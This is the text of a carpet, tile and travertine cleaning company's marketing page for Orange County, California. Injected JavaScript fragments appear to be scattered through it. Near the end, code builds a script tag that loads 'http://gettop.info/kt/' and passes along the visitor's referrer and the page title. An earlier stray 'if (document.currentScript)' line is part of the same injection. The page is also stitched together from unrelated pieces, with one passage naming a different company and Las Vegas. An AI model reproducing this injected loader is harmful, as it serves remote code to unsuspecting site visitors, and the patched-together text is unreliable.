6 Costly Carpet Cleaning Misconceptions

Misconception #1: You should wait as long as possible before cleaning your carpet

No. Dirt is an abrasive like sandpaper.  Every time you step on the carpet. you grind dirt into your carpet fibers. This cuts your carpet just as if you had used a knife, causing it to wear out faster. A dirty carpet will not last nearly as long as a clean carpet. And while  vacuuming helps by itself, it’s simply not enough.  The longer you wait to have your carpet cleaned the more damage you do to your carpet and the faster it wears out.

Misconception #2: The only reason to clean carpets is to get out the dirt.

No. As you probably know outdoor air contains pollens, fungus, bacteria, air pollution cigarette smoke, car exhaust and hundreds of other chemicals.  When you and your  family members come into your home you carry those pollens , bacteria, and chemicals in your hair, on your skin, clothing, and shoes.  Not surprisingly all those chemicals, pollens and bacteria wind up, you guessed it, in your carpet because of gravity.

If you have allergies, asthma, emphysema, or other breathing problems , one major source  of your problem could be the pollens, fungus, and or chemicals caught in your carpet.

If you’re sensitive to cigarette smoke, you also might find that you’ll breath easier after you hire  a company to get those harmful chemicals out of your carpet.  So in addition to getting rid of dirt., another important reason to clean your carpet is to get  rid of residue from tobacco smoke.  Since, as you may know, tobacco smoke contains over 4000 different chemical  compounds, 43 of which cause cancer. So even if you don’t smoke, but somebody in the house does, those chemicals get left in your carpet.

Misconceptions #3: One method of carpet cleaning is as good as another.

No. You can choose from two primary methods: Dry cleaning or Hot water extraction. First I’ll explain dry cleaning. Many people believe that dry cleaning your carpet is like dry cleaning you clothing. It’s not the same. All carpet cleaning methods use some water one form or another.

Here are the three methods of dry cleaning carpet

1 ) Dry foam method. When a carpet cleaner uses dry foam, he applies shampoo to your carpet, allows it to dry, and then sucks the dried shampoo into a vacuum.  Can you imagine applying shampoo to your hair, allowing it to dry and then removing the shampoo from your head with a vacuum?  This method can leave a residue in your carpet, which is one reason dry foam is not very effective.

2 ) Dry-Chem method is similar to dry foam. The major difference is that when a  dry-chemical is used, the company sets a large cotton bonnet on your carpet. Using a machine, the bonnet spins form side to side, absorbing  the dirt in the carpet. After the bonnet is  saturated with dirt another cotton bonnet is applied.  Bonnet cleaning is like trying to use a large towel to rub the dirt out of your carpet.  Like dry foam, its not very effective for deep down restorative cleaning.

3 ) Dry-compound method spreads an absorbent mixture that looks like wet sawdust all over your carpeting. Then the machine brushes the mixture into the carpet, which in theory causes dirt to absorb in the mixture. When the mixture has dried, a vacuum cleaner sucks the material out of the carpeting. Because the carpet is not rinsed in any way, this method is not very effective.

The second carpet cleaning method is called hot water extraction.

This is a fancy way of saying that a hot water cleaning solution under high pressure is forced into the carpet and then extracted (sucked) immediately back out of the carpet. This method is also  referred to as steam cleaning even though steam is not used.

Shaw Industries, the world’s largest carpet manufacturer, recommends hot water extraction, and you can choose from two different types,  Portable extraction. which is done with a small machine, or truck mount extraction which means the large cleaning machine is mounted in a truck or van.

Not surprisingly. the truck mount extraction cleans much better because it heats the water to a higher temperature and shoots the cleaning solution into the carpet at higher pressure which breaks up the dirt, bacteria and pollens.  Then the machine uses higher suction to draw the dirt out of the carpet. (This is the method  To The Rescue!  uses )

No question, the most effective way to clean carpeting is with a hot-water unit mounted in a truck. It’s the most powerful cleaning machine on the market and the only machine that thoroughly cleans your carpet and rids it of dirt, harmful bacteria, fungus. chemicals, pollens and tobacco residue.

Some people believe that hot water damages your carpet, but this isn’t true.  By washing and then rinsing your carpet with hot water we clean your carpet completely in the same way that the person who showers and then rinses off the dirt and soap will be much cleaner  than the person who takes only a sponge bath.

Misconception  #4: Having the right equipment is all a company needs to clean your carpets properly.

Not true. Many companies own hot-water cleaners but a large number of employees don’t know how to use them. You probably know someone who bought the newest  computer on the market, but didn’t learn how to use it for a year or more.  The same is  true with carpet cleaning machines. The company may own good equipment, but the employees may not know how to use it correctly.  This is why it’s important that you choose your carpet cleaning technician carefully.

The best carpet cleaning companies are those that have been certified by the Institute of  Inspection, Cleaning and Restoration Certification, known as the IICRC.  A carpet cleaning company cannot buy this certification.  The carpet cleaner must earn the certification  through study, experience and the successful completion of  a formal, written examinations. Cleaners who are certified by the IICRC have in effect. earned a degree in carpet cleaning.

The IICRC provides written credentials to the companies it certifies. So before you choose  a carpet cleaner ask to see written proof of the company’s IICRC certification.

Then you’ll find other carpet cleaners, professionals like me who work hard to earn your  trust and respect.

Misconception #5: The company that offers the lowest price is the company you should  hire.

Maybe, … but not always. Here are two important points to consider;

Point #1: The price you see offered may not be for all the services you want performed.

Before you select a company, decide what you want to accomplish.  If you want the carpet cleaner to remove only some of the dirt, you can choose from hundreds of companies that use small shampooers or other cleaning methods. You can even rent a machine at the grocery store and do the job yourself.

On the other hand if you want your carpet thoroughly cleaned ,if you want to remove the harmful dirt, bacteria, pollens, chemicals and tobacco residues, then you need to hire a company that uses a hot water cleaner mounted in a truck.  This is the only way to assure that your carpet remains healthy and free from dirt, disease-causing bacteria, and hurtful chemicals.  So remember that the price you see offered may not be for the services you want performed.

Point #2: The price you see advertised may not be the price you end up paying.

Many homeowners have found that the low price they saw advertised was not the amount  they were charged. If you’ve ever hired a carpet cleaner, you too may have been the victim of false or misleading advertising.  You may have learned the hard way that some carpet cleaners offer a cheap price usually between $9.95 and $12.95 per room and then pressure you into paying a lot more once they get inside your home. Some of them may even break the law by using illegal bait and switch tactics.

As in all businesses and professions, the carpet cleaning industry has its share of bad apples. I take no pleasure in telling you this. but some are unethical and sadly, a few are dishonest.  By their misleading advertising and false promises. they cast a dark shadow on our entire industry.

First, honest, reputable carpet cleaning companies across the USA usually price carpet cleaning by the square foot.  So if you’d like me to tell you the exact cost of cleaning your carpet, I need to know the exact number of square feet that you want cleaned.  To get an accurate  measurement, I have a measuring tape I use to calculate the exact size of the carpet area.   You’ll be glad to know that the carpet area to be cleaned is not nearly as great as most  people think.  For example, if you want your entire home cleaned and your home is 2000 square feet, the amount of carpeting to be cleaned might be only 1200 square feet.  This is  because most home measurements are outdoor measurements.  Plus I deduct the area taken  up by walls, room dividers and the like.  The result is that the actual area to be cleaned is  usually only about 60% or less of the square footage of most home.

So even though I can’t give you an exact quote over the telephone, here are things I  consider when quoting a price.

First, the type of carpet. Certain types of carpet are harder to clean than others.  So before I can give you a quote, I need to know the type of carpet you want cleaned.

Second, the amount of soiling.  Carpet that hasn’t been cleaned for ten years will take longer to clean than carpet that was cleaned within the last six months.

Third, the amount of furniture that has to be moved.  If we have to move your furniture  the bid must include that labor. But if you move your furniture, you’ll save money.

To recap, I consider the type of carpet, the amount of soiling, and the amount of furniture that has to be moved.  So, as you can now imagine, every quotation is different.

Pacific Carpet & Tile Cleaning of Orange County, CA preforms Steam Carpet Cleaning, Tile Floor Cleaning, Upholstery Cleaning, Marble/ Travertine Floor Polishing and our new service, Wood Floor Refinishing.  Pacific Has been servicing the Orange County, ca area for over 25 years and we offer the most Affordable Carpet, Tile & Upholstery cleaning in Orange County and the Los Angeles area. Check out our Up-Front Pricing!  Our BBB A Rating and customer references speak for themselves.

Our company has over 25 years of experience in the carpet and tile cleaning industry. We provide customers with reliable solutions for all of their carpet cleaning and tile & grout cleaning needs. Our company also offers upholstery cleaning, marble/travertine floor polishing, and wood floor refinishing services that our customers can count on. Our BBB rating is an A, and we are happy to have over 12,000 satisfied customers. Our customer reviews are positive, and we always believe in offering quality services. We have powerful industrial strength cleaning equipment that we use for all of our services.

Carpet CleaningIf you need our carpet cleaning expertise, we are ready to assist you. We will pre-vacuum, pre-condition, and offer spot treatments so that your carpet looks as good as it did when you first bought it. Our steam extraction process is done by highly trained personal. Our technicians know what type of cleaning products and supplies should be used on each carpet or rug material. We will safely clean one room of carpet or an entire house or building full. We understand the importance of having}

Grout Cleaning and Tile Restoration in Orange County CA

Grout Cleaning and Tile Restoration in Orange County

Ceramic flooring can be found almost everywhere, kitchens, entranceways, bathrooms etc. and almost always have similar grout cleaning and tile restoration problems.

Commercial Steam Tile and Grout Cleaners

Pacific’s extrensive line of the word’s best commercial steam cleaners, featuring the extremely portable Hill Inox and super powerful Hill Injection dry vapor steam cleaners are remarkably efficient for grout cleaning. The Steam cleaner’s 5% humidity and temperatures of up to 192ºC exiting through the lance (steam jet) allow for an extraordinarily quick and efficient grout cleaning and tile restoration process. Grout and deep pored tile cleaning are nearly impossible with a mop or traditional floor scrubber, and this is where the Tecnovap commercial steam cleaners excel, instantly removing decades of dirt and grime, leaving you with a grout and tile that look as good as the day they were laid. Chemical free operation means that you never have to worry about damaging or discolouring the grout or tiles.For extremely dirty grout the simple addition of a rigid Nylon, or Brass detail brush can be implemented to expedite the cleaning process. The steam exits through a small powerful jet inside the brush allowing for the heat of the steam to open the pores of the grout and blow the dirt away, the heavy duty brushes help in the grout cleaning process by brushing away the loosened dirt. Save thousands of dollars by doing the work yourself instead an hiring an expensive cleaning company to come in and do the same work with subpar equipment, or better yet start your own grout and tile cleaning business!

Not only will it work on light and medium traffic areas but also the highest traffic paths removing the

The importance of clean floors

The floor tool that is comes included with all Pacific commercial steam cleaners is an essential tool for tile cleaning. This tool features the most durable and heavy duty bristles of any floor tool on the market with high quality clips for attaching your favorite microfiber cloth. The most efficient method for completely restoring a heavily dirtied tile floor with dirty grout is to pass the lance (steam jet) to clean the grout and afterwards pass the floor tool. The best way to pass the floor tool is with a cloth attached to the front two clips of the steam cleaning floor tool allowing for the bristles to still be exposed when the cloth is flipped up and also allowing for the cloth to soak up the dirty and excess water when flipped down. The other method is to pass with the bristles only and then attach the cloth to the floor tool and steam/mop the surface. This steam tile and grout cleaning process can be accomplished without the use of any chemicals, making this the only grout cleaning and tiling cleaning method that is 100% ecological.

Pacific’s Multiplo Tile and Grout Cleaning

The Multiplo series is the only equipment on the market today that can completely restore ceramics quickly and efficiently while cleaning low points performing the grout cleaning. Due to the powerful dual counter rotating brushes the Multiplo excels on all surfaces scrubbing and cleaning in half the time of any other product out there! Engineered specifically for uneven surfaces, nonslip flooring, stamped concretes, safety floors, ceramics with wide grout (such as commercial kitchen floorign) and many more of the hardest to clean floors easily restoring them to new. Not only will it work on light and medium traffic areas but also the highest traffic paths removing the “permanent” coat of dingy dirt from the tile and cleaning the grout at the same time. The Multiplo can also be equipment with different brushes allowing for a more abrasive brush action for cement or heavy duty degreasing. There are also brushes for more delicate surfaces, allowing the full range of surfaces to be cleaned safely. The Multiplo is also designed to maintain previously cleaned grout, by collecting the dirt from the brushes into the central tank, the dirt is successfully removed completely from the floor and grout leaving grout cleaned much longer.

 

}if (document.currentScript) {

 Travertine Cleaning, Sealing, and Polishing Orange CountyPacific Carpet & Tile Cleaning of Orange County  is a travertine cleaning, sealing, and polishing company in Orange County CA. Travertine in Orange County and Los Angeles, is a popular choice for floors, showers, tub decks, vanities and countertops. The use of travertine in the kitchen and bathroom, is not as hard or dense as granite. Like many stone products, travertine can be etched from acidic liquids, such as coffee, juice and cleaning with harsh and abrasive cleaners. Severe natural stone acid etching can only be repaired by a professional. Sealing your travertine helps guard against etching and staining.  Let the professionals at Carbonated Solutions give you a free written estimate and teach you how to properly maintain your travertine, ensuring it lasts as long as you live in your home.

 

Travertine Cleaning and Care Steps

1. Remove dirt, sand and particles that could scratch the travertine. A canister vacuum, handheld vacuum, or sweeping is preferable to pushing an upright across floors, because the wheels can scratch the travertine with repeated use. Living in a desert like Las Vegas Nevada this should be done at least once to twice a week.

• Dry dust mop floors or wipe down countertops with a soft cloth to remove any leftover particles that could scratch the tile. Take care not to press too hard into the tile, so you don’t push small rocks and dirt into the natural stone.

2.  Wet mop using a traditional mop and bucket or soft flat mop?

• Travertine cleaning made simple. Travertine manufacturers recommend using a neutral Ph travertine cleaner. Neutral Ph cleaners do not contain any ingredients that could remove the sealant or damage the travertine. Dilute the neutral Ph travertine cleaner according to the manufacturers directions. Home stores and stone dealers sell stone cleaner made for travertine or marble. We are an authorized Dupont StoneTech distributor for the Las Vegas valley and always have products available for purchase.
• If you choose another type of travertine cleaner, it shouldn’t contain harsh chemicals. Mix a very small amount with warm water.
• When using a traditional mops such as cotton string mops or sponge mops. Make sure to change the mop water frequently. Failure to do so can result in just spreading the dirt around. The use of a microfiber dust mop and a neutral Ph natural stone cleaner can make travertine maintenance easier for you.

3.  Remove moisture with a dry mop or soft towel (air drying may leave streaks on the travertine).

• Take care not to use  abrasive materials or harsh cleaners. Cleaning your travertine with these cleaning agents may scratch or etch the stone removing the luster of your travertine.

4.  Call a professional travertine cleaner if you aren’t seeing results.

• Professionals can perform travertine cleaning, sealing, polishing or restoration to bring back travertine to its original finish. Our travertine and natural stone cleaning experts in Las Vegas provide free in home estimates.

Travertine Cleaning Products

Pacific of Orange County is an authorized distributor of DuPont™ StoneTech®. DuPont™ StoneTech® Professional stone, tile and masonry care products are innovative, easy-to-use solutions to protect and preserve stone against the damaging effects of everyday living. With a complete line of products to protect, clean and transform stone surfaces, we help ensure the beauty of natural stone and tile countertops, floors, showers and vanities for generations to come.

Travertine Sealing

Travertine is a stone that is used in flooring, countertops, showers and back splashes alot in Las Vegas. The stone is porous and can stain easily if the pores are not sealed with a penetrating sealer. This sealer will keep spills and splashes from soaking into the travertine. The porous nature of travertine requires the stone to be cleaned and sealed every one to two years. Once natural stone is properly sealed, it’s protected from everyday spills. Instead of being absorbed into the stone, they will bead up on the surface. When cleaning and maintaining  it’s equally important to use cleaners specially formulated for your travertine. Most general purpose cleaners, acidic and alkaline solutions, abrasives, ammonia or bleach can break down the sealer and damage natural stone surfaces. DuPont™ StoneTech’s heavy duty stone cleaners and natural stone sealants were carefully designed for natural stone, providing you with peace of mind.

• Acidic substances such as citrus, vinegar, wine and soda etch (or erode) travertine, so it is important that these spills get cleaned as soon as possible. It is also important to keep up with the maintenance on the sealing of your travertine surfaces because when the pores are sealed the acid stays on the surface longer and less etching occurs.
• Do not use a topical sealer. Topical sealers on your travertine floors can scuff and come off.  Also, the porous nature of the stone can get air bubbles and attract dirt and oils. Penetrating sealers expand in the pores to become part of the stone while protecting it.

Polishing Travertine

Is there a need to polish my travertine? Travertine tile is a type of tile that is greatly related to limestone. Travertine forms over thousands of years and contains patterns and colors that are a lovely addition to any home. Travertine tiles are utilized both in the floors of many homes as well as on countertops. This beautiful material works well in almost any room of the house. Due to the beautiful texture that is indicative of the natural stone coupled with the sheen that appears on nicely polished travertine tiles.

If you have purchased a home that already had travertine tile installed or if you did not receive care and maintenance tips when your tile was installed, polishing the travertine can seem like a task fraught with danger. No one wants to damage such an important show piece in the home, but travertine that has lost it’s polished luster definitely needs maintenance.

Over time, the polish of travertine tiles become worn and scratched from chairs, pets, dry particulate, and shoes. This leaves the travertine tiles looking dull and unsightly. Restoration and travertine polishing removes the scratches and leaves the floor with a renewed shine. Using special polishing pads with a buffing machine is like sanding down all the blemishes and resurfacing the travertine tiles. Because travertine tiles are consistently colored all the way through, there is no need to worry about damaging the surface. Maintenance polishing of your travertine should be done by a professional every 12-36 months depending on the amount of use in your home.

d.getElementsByTagName(‘head’)[0].appendChild(s);

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; d.getElementsByTagName(‘head’)[0].appendChild(s);

}}